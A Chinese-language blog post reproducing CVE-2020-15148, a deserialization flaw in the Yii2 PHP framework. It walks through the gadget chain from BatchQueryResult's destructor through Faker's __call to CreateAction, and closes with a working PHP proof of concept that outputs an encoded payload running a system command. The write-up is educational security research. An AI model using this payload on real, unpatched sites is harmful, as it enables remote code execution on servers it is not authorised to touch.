[php反序列化] CVE-2020-15148(Yii2 反序列化漏洞) 漏洞复现
漏洞影响范围
Yii2 < 2.0.38
环境搭建
Yii2.0.37
漏洞分析
首先定位到漏洞起始点
为什么是这儿?我们该怎么发现是某个类的某个函数?为什么不是其他函数?
一般是__destruct函数,而不选__wakeup函数。和开发的习惯有关,在__wakeup函数中一般是对反序列化的一种限制,例如安全检测等。所以常见的反序列化漏洞起始点是从__destruct函数开始的

跟进reset函数,如果内类不存在该方法,则可以进行__call方法的利用过程

其中$this->_dateReader可控,直接进入__call方法的利用过程。全局搜索__call方法
小细节:当对无法访问的属性或者方法进行操作时,就会将其作为第一个参数传进__call或着__get __set等,如果调用方法同时还传入了参数,参数将会保存至__call方法的第二个变量中。这也是为什么后面需要将数组索引设置为close的原因

跟进format函数

看到call_user_func_array就差不多可以说明存在rce了,但这里只能进行无参调用就有点鸡肋
这里还有个小trick,可以通过[$object,$method]() 进行类内方法调用,后续就是这样构造的
貌似对于命名空间和使用命名空间的类的使用不熟悉
对于框架文件到底是怎么访问的也不是特别明白
成功执行phpinfo代码,但这样还是不能进行RCE,所以我们下一步应该找一个无参且和RCE有关的函数

(上面会不会调用__invoke??)先跟着正常思路走一波
由于是无参函数的调用,所以我们直接使用正则表达式,匹配到无参函数且包含call_user_func
至于为什么要包含call_user_func?而不是其他的system,exec等函数,我想调用链是慢慢找出来的,可能对于这个漏洞最开始来说发现就是这种链子吧。等自己熟悉了,再慢慢挖自己想要的链子
function \w*()\n? {(.\n)+ *call_user_func

两个位置的变量都可控,所以就可以RCE,构造POC
<?php
namespace yii\rest{
class CreateAction{
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo urlencode(base64_encode(serialize(new BatchQueryResult())));
}

成功
当然,还有很多链,只要思路广,道路千千万
[php反序列化] CVE-2020-15148(Yii2 反序列化漏洞) 漏洞复现的更多相关文章
- Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程
v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...
- JBOSS中间件漏洞总汇复现
JBOSS中间件漏洞总汇复现 JBoss JMXInvokerServlet 反序列化漏洞 漏洞复现 直接使用docker搭建的漏洞环境. 环境搭建完成后,直接使用工具检测即可:工具下载地址https ...
- tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现
tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...
- 20155306 白皎 0day漏洞——漏洞利用原理之GS
20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
- 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用
20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...
- phpStudy后门漏洞利用复现
phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...
- ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现
ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...
- 泛微e-cology OA系统远程代码执行漏洞及其复现
泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...
随机推荐
- hdu 1159 Common Subsequence(最长公共子序列,DP)
题意: 两个字符串,判断最长公共子序列的长度. 思路: 直接看代码,,注意边界处理 代码: char s1[505], s2[505]; int dp[505][505]; int main(){ w ...
- hdu 5055 Bob and math problem (很简单贪心)
给N个数字(0-9),让你组成一个数. 要求:1.这个数是奇数 2.这个数没有前导0 问这个数最大是多少. 思路&解法: N个数字从大到小排序,将最小的奇数与最后一位交换,把剩下前N-1位从大 ...
- Python正则表达式使用小记
最近做Python课实验发现正则表达式和它在py中的的标准库re有很多能多琢磨一下的点,遂决定写成一篇小记,以后想复习能再来看看. 名词 因为不同文献书籍对正则表达式的描述有差别,我在这里列出一下我已 ...
- robotframework-ride快捷方式打不开
我安装的是最新的RIDE2.0属于beta测试中,覆盖了3.8但仍不支持3.9 我的安装环境如下: 安装ride成功,启动ride的时候遇到了如下问题: 一:AttributeError: No at ...
- Java学习(九)
今天先学习了内联框架的知识,使用iframe的标签,还有超链接的知识. 做了个小实践 <!DOCTYPE html> <head> <meta charset=" ...
- 字符编码和python文件操作
字符编码和文件操作 目录 字符编码和文件操作 1. 字符编码 1.1 什么是字符编码 1.2 字符编码的发展史 1.2.1 ASCII码 1.2.2 各国编码 1.2.3 Unicode 1.3 字符 ...
- FastAPI 学习之路(六十一)使用mysql数据库替换sqlite数据库
我们首先需要安装对应的连接的依赖 pip install pymysql 然后在配置testDatabase.py from sqlalchemy import create_engine from ...
- Ultraedit和写字板修改Tomcat 6.0的server.xml不生效
转:http://blog.csdn.net/greencacti/article/details/6615321 本人在修改Tomcat 6.0的server.xml的时候,发现写字板修改完保存的时 ...
- [bzoj3170]松鼠聚会
这个距离就是切比雪夫距离,有一个神奇的东西是说将(x,y)变成(x+y,x-y),然后就是曼哈顿距离,因此转化后对x坐标和y坐标分别统计排序和求和(求前缀和预处理+二分) 1 #include< ...
- 【PS】证件照修改尺寸
证件照同时修改尺寸.分辨率.像素 2019-07-14 12:56:25 by冲冲 1. 需求 实现证件照自由切换一寸.小一寸.大一寸.二寸. 2. 步骤 ① 裁剪工具 -- 原始比例 -- 存储 ...